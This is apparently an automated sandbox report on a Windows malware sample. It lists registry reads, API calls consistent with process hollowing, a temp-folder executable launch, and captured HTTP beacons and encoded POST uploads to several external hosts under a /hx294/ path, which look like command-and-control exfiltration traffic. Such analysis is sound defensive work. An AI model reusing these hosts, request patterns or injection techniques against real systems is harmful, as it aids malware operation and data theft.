HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
kernel32.dll.GetSystemWindowsDirectoryW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
mscoreei.dll.CreateConfigStream
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
kernel32.dll.QueryActCtxW
kernel32.dll.GetVersionExW
kernel32.dll.GetFullPathNameW
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
mscorjit.dll.getJit
kernel32.dll.GetUserDefaultUILanguage
kernel32.dll.SetErrorMode
kernel32.dll.GetFileAttributesExW
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
kernel32.dll.lstrlen
kernel32.dll.lstrlenW
mscoree.dll.ND_RI4
mscoreei.dll.ND_RI4
bcrypt.dll.BCryptGetFipsAlgorithmMode
kernel32.dll.VirtualProtect
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.GetEnvironmentVariableW
kernel32.dll.SwitchToThread
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcessId
advapi32.dll.LookupPrivilegeValueW
kernel32.dll.GetCurrentProcess
advapi32.dll.AdjustTokenPrivileges
kernel32.dll.OpenProcess
psapi.dll.EnumProcessModules
psapi.dll.GetModuleInformation
psapi.dll.GetModuleBaseNameW
psapi.dll.GetModuleFileNameExW
kernel32.dll.GetProcAddress
kernel32.dll.DebugActiveProcess
kernel32.dll.WaitForDebugEvent
kernel32.dll.ContinueDebugEvent
kernel32.dll.DeleteFileA
advapi32.dll.SetKernelObjectSecurity
advapi32.dll.GetKernelObjectSecurity
ntdll.dll.NtSetInformationProcess
ntdll.dll.NtProtectVirtualMemory
kernel32.dll.VirtualAllocEx
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.ResumeThread
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.WriteProcessMemory
kernel32.dll.ReadProcessMemory
kernel32.dll.TerminateProcess
kernel32.dll.CreateProcessW
ole32.dll.CoUninitialize
oleaut32.dll.#500
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx

Execute Commands

"C:\Users\Seven01\AppData\Local\Temp\teremerejodi.exe"

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05b_64 Seven05b_64 VirtualBox 2018-05-14 07:59:43 2018-05-14 08:02:41 178

16 HTTP Request(s) detected

http://www.wallxin.com/hx294/?JBZ4ix=CUgmAf1Udalz3/YpclYv6O3LivFdrGOMS3Vw2NEu0kr3RE8PPxQkrEknZD9QvqUJwcyEbyeE&BXIxB=E2J8TpdPzhf
  • Hostname: www.wallxin.com
  • IP Address: 107.161.23.204
  • Port: 80
  • Count: 1

GET /hx294/?JBZ4ix=CUgmAf1Udalz3/YpclYv6O3LivFdrGOMS3Vw2NEu0kr3RE8PPxQkrEknZD9QvqUJwcyEbyeE&BXIxB=E2J8TpdPzhf HTTP/1.1
Host: www.wallxin.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.njlunxing.com/hx294/?JBZ4ix=YOdLG7w3JMdlOLOgbM8n2BNdvUFyHzcsQ+goSBAvGskeN3BqO7jzHEKuAHmD7ompbh53K0wm&BXIxB=E2J8TpdPzhf
  • Hostname: www.njlunxing.com
  • IP Address: 47.91.205.106
  • Port: 80
  • Count: 1

GET /hx294/?JBZ4ix=YOdLG7w3JMdlOLOgbM8n2BNdvUFyHzcsQ+goSBAvGskeN3BqO7jzHEKuAHmD7ompbh53K0wm&BXIxB=E2J8TpdPzhf HTTP/1.1
Host: www.njlunxing.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.njlunxing.com/hx294/
  • Hostname: www.njlunxing.com
  • IP Address: 47.91.205.106
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.njlunxing.com
Connection: close
Content-Length: 2200
Cache-Control: no-cache
Origin: http://www.njlunxing.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.njlunxing.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=QsRxYc02RdN7Ru2icqVHuGonpkVELzgyV5pBRkcYRv4NBk9_H9ayRDLFPSmSrqCdCD57ICQu7TEso8SjZEFjbb(uuvXwyY4GmIF-eKnT(aMzzuT4rtv9GhVpY-8DEXFmtKEJe9UoSLG6s6ESXdSl~cAFqNewyZY0vDHqsGWQRvlSWD004LSXdDemTALlIfnklrf9fRlJFC4f4isfozdbLHbRq4SZQGhqS16dPZXM(epfx9(gKjyUgSG3kO8kiIjHHZ52HFxHM40lkF4SoFsT0GyiN1NzfjJxQmiP1jVPqFssuJ8B6qk5u78zwfUC0eRHw-bSrYUnx0uevPYl0PxyhCYyCetAIGONmOZXevMyHqWAwr(-iqs5wzefjLL6XPP5pQrKW_vmF1iLGzj8jNeppawcXrnhpk61B0w_1he3AIPcCn~mRmyXEzITQTHzy-qcByTfXPHzKvmHvpTlUPIjCURtBt8gxR1tbbQTiS(UUsu3afupQ8at5tCLbyMhfCs4tK3l7iWLYnty9QRwNUX7eIX1kKRJd7qDtWnOyL3MPLE5(kr7mTglBDjBsMyuOcYGOzr5I1rwXdsWcd5POMC34l9EgKsvLsDZUZZ7KoYiguSecEwKCuVW7rM_LP~cFTepXVvr~J~AKJ3F5pp0Mp~E8xHjrty97LvVlb~jfe3quDhOsWHnEfAS9XUnTOyg~rKjwmQhWYOmaorU96P2q0x4UnHcY7kANafJnvlXVbZjNGQU98zeUM(lYnMoPCI1mcBhZirv3b3uAoVQUnwPQYcm2qYRsIwpVBs8P4WVCM3kf5eA7gspuTbbFSw_tQ2fqm7Sb_DCOHIVKub-~J1GkQZ1Jlq2plLzM4MWCx~EsRROZBG2pTifkbODu7J7RZn-YODHTz1AOeO_M1ID4SJVJ2hGsGF6ibtppXuuGVIg1ffkLztbwd(I3mrESeGTHsjw8qGl9H~KgtbesyF02M92z4xO344_XKD7n68HYT~3Jc2CC5Enahkcpuuq6Klmy00uxUvau7l7RkjFd2KvcMCZZy~M0OHL(PusNcYDZ0rGMINQNXEHEb1L4CDUEosgrY(ZiCzLXRAg8L(GijhBCVw4MZTJl7dUbGQvDIbrFcNefZRlQHarSeT70iiK4HtV6IczXpELS1CHEp0J(Cm0PX79TsyTSw2TzvcTHrtujhA6PfhZ7Y6HRESRehZU2_2MOEJ_skbA~LszKMZ1CU7huUzSy_TEVWny~9BwjunhYrfGUvwVOGcG7oUy9dpL15(_m2~5fgAnqlIF5XROXlromCc5sZDD3OIwmqHfrxQ5gmmWN2VRJDWaYdWmqyfz8W3wXzo-zD3B72z-Px3Z0tjNgoT2y_ja7X8iB6MvHyFZLI(tIGgMp0UlEJxZC2IaL4n14fGGm6OQO-6s7hTB7LzHinKx~bWX4C~3LmYm9xGffRL2~_ORbkhc1_XXqA21L00DFKiWJ4eCSyATIJ0HuxEVO-HOxz68NkW2ZXyVteZCXAClCLMlpzqEUgjaCar-GwWKDmPLj4PO6bccuI4oCDdb3cl0NsR9t-yEQFOz0rz1uNarIyCq5umZh32EIkKSOi1bDvTcXsBCoXJIxldNlzCHjZPuUJSSW3I28JOYgp6xTk82iJdbu6NMOSWFNv(_85KcU88PtkCuQ4Z5P9DDCtf9VKrNJsrT6SZtg31KuNxM8tyKLA6-bR3wUQwokGXke-PAJnHU6NF9u2GoRuc07h2Nzo9peCMrTcRbRsSiSiAfcyM4QZ8SVaadOn7OnThI8f6k2Wvo9y4TPlUa5J6tYvR7NdHCo2hvtijwalHr(K4RUJxGqKNK5j5PHRI6Y6ZEV5zjfeCP8BchK9Bw0BiySQbbAetRaOn1aeNf2npmhkjeYBXU(AW6UZhCq_qL6tghqo9uQhGLNvfyHq4jEWTn(IOwTmuvka42nFazfYLj(1ZOxKpG(1HdW6a1i_IibVrMj51jnZXJwedJJnICBbLTMum8sMT-xtWrxC06JnbZejHiLRZneWtE9BHOWUFHgPK1vZIS3vFoLa48gegABm5858jdTN9oDUqi1V10i4mrUCp5lEJRT0O9El9q4pcM7tuqlqpP8XG6jg2QnHarMcZ_tRDjMVjjDr3e9mdF2YFtS6lfXDeewzwoWpfVoUUFpWhLQ9lK9o(ybHOXSv4mMSvzOp5m\x00\x00\x00\x00\x00\x00\x00\x00

http://www.njlunxing.com/hx294/
  • Hostname: www.njlunxing.com
  • IP Address: 47.91.205.106
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.njlunxing.com
Connection: close
Content-Length: 57164
Cache-Control: no-cache
Origin: http://www.njlunxing.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.njlunxing.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=QsRxYd9PdM5maMPQYrFtjGZGm0h0MRANK-djRgYcKeohFEN_B-y_YDLGYCmd66eLLxpzIDlB7Tcrg9CifiQhZL6bnO31lqQFnq4hSrfTibo9sqq8qcjPKhJvTbJMTXkKspoNJJBmWIatpeYuW-i5wIsCiqX7y684jiHyjn(UcN5iTRsC4O2iTgXYG3ebItuThtT9QAtjRVEd8RkH4x1mNyTo8q6Hc1ptT3TCAYDB9fhL5OmXLD~PpiWWvdsxjb3kK8pENBg7KL4pvw0clGAh03DHAWtzXQRzeA3AwDV0ml0glp8T6qh0sJgR(_VJqoBUiPzKi6M3wHmeusQ2jak8tiYEPu9Te1a4mOJLffEyGoyAm4H_x6s5qDeZjLLyXPPQpWPGX_3mBA~JHF29ieCjiawQQuSkiEWRBzc31AC3D4jdQWuiBkKUOXBLJje0y-mZGA7DAau1JvmEn5OpQNh8LlhyZskxixhHc60ch0XiVva4cfLSVJi56YuWKix0AixOsqLf6DazelN09mVQN1TRA7DKspVfY7as6DfzzbCLAox6ixzgsFh6KC7c4KKoEdIbFkn-Eli4Udg3bs0oOu~ZznVKwOMOCN7nBohHPIgTkO~CUWQSB-ptp9Yzed7jNTamMm7tjbXrPpWn1ZBGAsO0hiucr9(N6Jvgh-noY_Lf9QtzgnCyNutz61cRS7288Ljw4mowebe3WZfxwozK3WsmfwzPVL0YNoGfnuxLVLNjOG0U5_3BUvnmSXMuBiJqs89HZnvzwbzuErdSG0YBUKABoaYJuJ8YflZaP66BDNKTb_aDuRgttTadXAkurQ7QnHr4cPHSVGk_ecCjvOpDvSlyNmiQoFHbGpwxMVmKpjJnNQOytzPqr_abwIAla7WiS_XWVTkbY6zDYDkIwAtnOXZojiFZ7rN2nlWOQ1BA3-LGBgYU~8(clWHcWPeeGeje8Ijhpi~ZmpzMkixR1JcN3_h3ypAcZL3n4rkCDTf5OvGJBuQGZDkK2fSB54FEwWZb5VHUlsVMd2qlbxCOQ7mPAVHZhIrZ5frSKelgWmrtJ_xhBmA2FJ5j3yPwHKdzirS54z3bIS4vlJfHxDI7PBxNBYnhn8wAX0Q0HLzlFd8tf4VleXCrUcL79Hq_nlZD9-5UaaYMX3GJIqMS6Xj6LV~jYo(oASC9k-4Oc4BNkRJFJtR-7aaHRjKuaB8Cs-7aa0Rj~F6asp4nCcNUaRW8oUbx3-mgeiXuzvFbxOWvRpbEVtJnA1UW0o8dsvRs9pqhz3XCdgEAii9A2HNDcSuvvVE_~8DLkuxTptud2j8LlXOVDwZ6fAmIFPSBtjO40VTNQHcPllvx(FHZEUHbzc3r(dvigdyP0VJcMoIHJBRjF9mxIkgdtlYtA6MPAkpmOsbs9PmJlNeFKKjQ8TDozrXT9m~6zfqC3Si_IldlywWSFhXa6rOELkZiwsTkoTnkbk1PMePPRKuCSyJacZgooGVaOKTzwxqdLkO3Jl76uaZiPz~uT9Eom0WQajLoBqydA0SaHmzlydvNx5hH9rI1Dz8XjcZ0MYkZ3sKgC123wbjXoK6vfzii5oOCmXubcEOJSSwDOOz-csk-tXB9sH91s3fk9b3udc6WMEcixqKOmaDZZnYhoYZ9uJoNIASnZ_fJwo~WQY5QnmKnHYddD9P5IvD5CYD8NMnC7H1Ptn0V99Vt6d(TLAzIIyP3USwv7UWkdNfOdWXDo-df5FnJC6Qw33yCm-4fKy82N4IwUqTvSDQpQxoEHrZkHZSDEUbwrF1V8sPQ3nnx7EcXUmxm9Jbfev1ZAeTfp0p80zP3Zwzm~oV3TN1pgN4f1BhkBjIpb-BJO5vlc8jl0Vs-f8p4hzK5QBnbSsJcO-6od_pwtnlZ8A~hPE3u3HbSS4h9oM686t5ci49mAzH8GKyQMJ8xcHHJpseBGhet76w2uHuJbojCpm0Q8qBkolOhXd60k6k8dSiTlpxMmp(k1fh2VVEDO9KOQpeD4fvswsqc~HYBLGW2eifxOSsFJ2hN41DRUjldgeWQt60cn4pYDr0u~awbbSxl~9HSN9M5LUej(ip9hq~VfmkklgEKeWufOjtZ0d5m1M2qqp0V6HaV3DXf1nnVPt9EiQ(SLXvbEae-5moZqvQcFtt1fSSJihIhcuiKoz45sVZnLcMi3vXqViK0XZ1Cf2fXOdErFUptCko8cXjE3ciVMuNx9qx0VsQ4UglPFBpCEhCW81EeUb50PVC-7JQmPNJJqfyatam8ydpzUV4AHleydLqgh5P9MxfvBzy9F_hviFC3GCavAOm1NZFW7OSIIGokQ3wRhQ~nPAAe2mOIFcVTDekHNDaf0-69HwtEdXztanrU5-ygVTDF9xJoFEHvQ-mfI8daCz8lLEexxDUbKim6PQDcU7qXS

http://www.www223345.com/hx294/?JBZ4ix=l5fcSQCk6REMcNFbEYEH1P5JXzK1RaxhPyS60U20a5A1lkgVUq1NOdwxqTF5Hhrff0RHLvaP&BXIxB=E2J8TpdPzhf
  • Hostname: www.www223345.com
  • IP Address: 43.230.143.219
  • Port: 80
  • Count: 1

GET /hx294/?JBZ4ix=l5fcSQCk6REMcNFbEYEH1P5JXzK1RaxhPyS60U20a5A1lkgVUq1NOdwxqTF5Hhrff0RHLvaP&BXIxB=E2J8TpdPzhf HTTP/1.1
Host: www.www223345.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.www223345.com/hx294/
  • Hostname: www.www223345.com
  • IP Address: 43.230.143.219
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.www223345.com
Connection: close
Content-Length: 2200
Cache-Control: no-cache
Origin: http://www.www223345.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.www223345.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=tbTmMwndigwOLbNMJPR8wZUqUQWeWJFVKFii8WWsd6YOlhU1Uc9lPoRNpEJOAQm7fnViEoTdmY56i-IAXi1S43NuZ_Yp10DXlDhFakUmlWUVDEQEP3tnqVnqA_DzoBxXkqAxTcfeh2VwrLpW7xS-s1XITABMYw4xpYaz8ggJ4jcs3AHvxnEi47ZO7OFjZhvpj98-rdona0iB4HWPtZF7iFGItqtmOw56qEmVdnojRAt0cP4aehV1HuNF(vB7VCfHYCDdK7fIEnui53QqMJQRAEF-L0fjF3rvKool26(OzQedipV3(o4t8nNkBo(r79n_A-GNVe3YqNASX2vHUojzX2Ymtd~UStDgGrBygFIM1pd_X6pO8ap51BpUhzVXL-6MmXJX~PkM2ZCEtsn-yCOPj5j4vjZVN7RR42g2QB2vbQCM3GXJYXaavWEQQ_Z8(p4i4iB3s8Vg3WVF3zRAhzLu2OJ92ubj(cRYwoLKaTmGDipOE7IAq3A4ANQaS1CPhQ2lEtOTKlNUYp0WZT0mp1NQ6U3gOFO-VR(LrWyZeCYBMBLufPdq4sXZ7e7MIP0isifZw5XqTdVp7psaDZMQIpaxVKe8fjI6nuRbsp(y~YDeA97ZOrRfkdnhnNRaRN8i2x7QNx6Q(VjMcyiQu_xzSLAuhwmO7ykhwlbrR-86Tw1kbTs_OEqSIJGnL2OGHC~GFiVKzNmABF4b3QiCcS1FYjz8HBKrZoJ3BB89urkRO3R4a9p1obSJ6m54iMm4mK(i~lgMhZjBrkqVD_BAWaulLWjCAQ9ogwZW4hYFfIl4Hc(c3UHyUYmgNHm1XgyX6hVsfadaRUl4OmSmub3i5l6oQ8sr2pdGHureOtqmZUQor74-V8dBz5RYwyo8CEGaRQVr2FO-6IHKfjjYg5JY9MOD2070ZqcjQsxo7kwwZqtrvxfZ9rwNNfjoikpNWaRoRbqQBwDQ1HsmSlcNSQxDlfoRLD6vjC16jZHZotjGHwY8FU(nFEsJ2GKh6NgY407GPFaYDGdeg0GnCpDQv71LlRb_dHrB2XDwSP(O2Lr-cDD4OSUcC7jsGAZ73zJrm_S5Xpo-IW7MtF7oru4NGpoi03vRrvwC6DEe3U5rmGNuZDNiOjtzf7iUIzaZ1wgz5UqutKsJtsKgg3h-p5Fbq8~wDbApKzZ01JJCSUvUQj4Eac59hRitk5GOvF2UUMl-heV7ZWPn(87YtC28GJuE554QKGxPJ7SI72tQswGosPiRlp4muM(lKCW6zKJvIq~GT7tLEFIpaA9aWIUN8k9lQ2qf500Yc1w1BrJRCtmRbQzz5TCITZJ_9Du_yUKNbp4l6DZ7b-51ZOtJ7R0x5OLhjJ1iqGgBPkH5sAl2X5NQBo4o9oah0_VRroq3NS98aISjwPz1wpvMJUDIHKL3fsBL3eL7BDa7emYKYndro1kAJa(KjysgI22NBpWnvA9MnVqcuvz5SKSFU9oR5CyFLFp-oDUDRkq0yuAdet7wMk0vpAeDJIrywZ0Xv1HUQC(u34WehF2FDsl5(GCfxpZ7g_OIc5fnCDH39j~yK-hegjEPbXhODkOkOEqvBTg1xOV3rBDqt_sk(kOp3dT0R8dkZdEVIzyggxAc~Nw4QuL4JWOk6GPRa0cBORs81YOWlWrchH9PkN7TCgpeuwvjTHEyRneX0rBH7VbbIF(8r6qGveo-vMfCrKwJmA5DAljyrZz3yiAYqzhe7osDfb6b4xZ4D4lfR02XSplonbeEhZze0HTSFIe_yC3E(UQh5K7qTaIuD_77pepUBELVWdQeE9O5lLBgfoez~1K1G6AHru8xt11rt8dhMUM1xMjM~PzGnQKAkjHZpBvIf_rrYnkmx1~jz4JeK3zVFmtieXiUEvQM8V1guRXeTaHzV2hsOnCcQed9zneMszjgccPnw4DgtJ7ZIXkyK-QvFk22ihQQ8EBIccl3w7vl4fYoiuXsNen6HjOMKnuPSKcqBx11Vg9oITmXRabAaW1UanZt465R9jd2uICNnwz-MmNeOBD-SSWLSLCGd2Lom0AXGrnMt6QiW5iPTAx6R_qauyngE49Da4MZcgsD~PxhXvUpI1sxaMiLmhkIBIQuQCloiYPhOO4dyt0v0cuOh7awXiLxPAuIPi4SI56l0X9jwvlNqx7m8fTr~BlSO4(HfwxxlWFpcP7KsanNcb22Xny3\x00\x00\x00\x00\x00\x00\x00\x00

http://www.www223345.com/hx294/
  • Hostname: www.www223345.com
  • IP Address: 43.230.143.219
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.www223345.com
Connection: close
Content-Length: 57164
Cache-Control: no-cache
Origin: http://www.www223345.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.www223345.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=tbTmM1amuzcbcNZzY-BsoadQcD6Uf-hqWmrL8Wmob7oc0RE1f-V-bYROrEJNWQrODGx6Eq(7meh92qUBSwtF7nQdb-80x2LQlmxjfgIm42IXcCMfNCUojVLoObf69mMxlIs1SYT2zDh7kKpy8nGyo1DLcmdOYTsDoZa75gIaxBAyhj~Qxl1W97p7wvNYHg~e0s4-79x8UTWQ3n3SvORok13iqvR9KjB3vGOFTmdbTBVwW9gIKhQ5E_981Mg_VxaXbETFOeu0DUi-2ClKOqddA11UQH(jLHKFLqAXpK(1xQmn7ZVL(otg(wtedY(hmvzsGeeFb_HIlYkSRgLyQbL8S2YDgtODVa7pGopummoMyq5_SeNNz6p5~hpShzVlL-7YmVpLv_cMwZuGi9Hwlk(8(pj8siYSer0G41AuRhavaB2P8GrNeDGZ3Hw6JvA3(p1u2DRrreRT2WVCv3Jf2Hes7_457M7Q9MFmwIfFd0LSCgdadqs280wkNYstW0eH(0~eENaDexNgeqkMZFQCpQpfmkiHFiGoSS2TpUSgfTsdHizybvB57eTF5_zZFd4g52TikanxI-Fg2JRAHs8BIMaPCI3NWjlM471p3c7S5_vzDs2LD5BHqtLKhvZefP4R~xfJLQKW1XKwYRqxrodVN_RP(Hb_pC5Rlgfeb69cZxJ_RRgSbBGKB6ixOQO0Kw2aBHAZ7Om_IGZb5iP6fmc8aRuUG2(JUYY7BzVZur8VOHV4IM915IKK6H57s8m6oq(-zEc-hbjdqleVLvxCXZXoMBTlKw9gmxVZpQ5kfNd3AdyphmHzEJGkKHmyWBia8hRXbaNjRl0jHzrjsdalpmiwb94s7I8hIunIXMXKR18uls0ubYATq5Fiy2s0ImuHb0YuhmCO88DdUTHtoflX2a7Q2VzGDLRFcPJ3834AT6kFtRr77okfUKSpwE1FAbIiRufJATXMzx12bHgXdAFq3tdkGiiWzAkaj4zN3c7fNg59DnPGW3Nr2iKJlYoz82nwdwCISUtcrjnFL7KusoIr2S6MFEnp~EidBv7B3K(SSUnbJhVOAIvVHT1XpRM0q8juBKEfES~TiWzhwNYEEM8X3FSqw_Eq8EwjxRtwx1VeZCdAOGFzSraUaUOZqxNF9UKCtY5Yv8uhsV18rfpYmPHwJ-B1SG1Q~79gWmibaEYZZsx1mjSak_aOumCrG4dTgfpgPG3r~tbD6AigNYelwpIKMEQZFZO3wFNMuCDEj_yi568CjuXqJQSA(J5AaYmhV7oMdmYFYAp9eI0fkEhSbH6L2jsSYGstPvFaX-6EHi(7p3G1daIB4luHo2(lf4ps2ANSauZ2QbVX8iwW3r7n5ohu0V8VBE(dnFtTarZ4C69K3ZO40dF6qaP6BBBrbazfwqPS25PQPjrnWInCJPBq(_(vMTu8dGwET2xz0ngTGYH9oSgYDHLpDZ(KqS5QhGa-pvzoJO~rb_4R5CrMDEM8p0EZQ1qkiYl9Yon1JmsLkhDGPI(504EvtW3AaFSB(oOsoh7YHtJDpyaQn7kuz_2VTuK4Nyr3(3KHevwiiAUTVHQvSHegJHy3BVQuwvtomxHtofh-wEv4mNGCSMF3E8cEcWPN~3EckMc0H9u5E1Lq7BaYNH0NKiB01oS8jArpmmcsm5jVFEVO4kHiEXRIW3SpqIdDsGzQGFzpg6XKouoSjImSp68hmBRiD2L1rYL24QAdtAxUvZcQNJi9(S5YYYFbdiyUcKN4hY2n8YG1xFXKFq3syj3w3zwS4_etUNUTMqOloMtvQmnURvAaPvrPhO8QSKC7012wH_FHiOg2qgB6sfwYNVle6PL61pflsCK603LcwACiDNbGMGIplUGr26RZMVbVOkkqOXuKT8QWiF5fzTvuXojFAhMSOEazYPlwzjz91ziTf-~W7a6c1YmIE2wYFPdLGh64rxYQrSI2PZZa18XeiJ4OgOPfCf(_W1KCRkaZWa4_BBdcARB5FxKSIoXaVlhVC3N_5_Bc0mZeppOxn03hDF53JxP3e36idcy6Mz28lX8zP6(whLMWYca-RRELQ7u_tHDODYJEM6MIc3ot6ORvXO5qP38DUPmw7lEVMpouRUUwiJToWtovjq1CzsL68KHwGhHVGQi_QylMHaKTyVod4-parTzt4Nap(mZYR5XDbwgSmWQGfY3aqIu6PvW_b3bDggZZjGo30JkiNpJsL5UVQFEcDsTjL0~xx-pSsvX-Fn11uCs_GsnERvuoOBhtbFIxqVUBsTFvytgWaP4ILr0mOLT8NhjkL4oj8eF2j-1JYt0rP_cea6x_Y9vXx9VNz64NVOl2VSPwo5fhyiLe0tAjKntw8CIpTgUBhqhnKrBej2zzTcyKbYHyGDwv~8FZJiXdoTJ7a8Hkg-U00i035HdYEC5AW

http://www.standard-idea.tech/hx294/?JBZ4ix=OdLf5sMDWqkNHyZYBso8go3nexxgl/2KbiWdvPso2gOyhZ6euc/eCJHosNE4T0q2mu6Nxlty&BXIxB=E2J8TpdPzhf
  • Hostname: www.standard-idea.tech
  • IP Address: 195.154.36.64
  • Port: 80
  • Count: 1

GET /hx294/?JBZ4ix=OdLf5sMDWqkNHyZYBso8go3nexxgl/2KbiWdvPso2gOyhZ6euc/eCJHosNE4T0q2mu6Nxlty&BXIxB=E2J8TpdPzhf HTTP/1.1
Host: www.standard-idea.tech
Connection: close

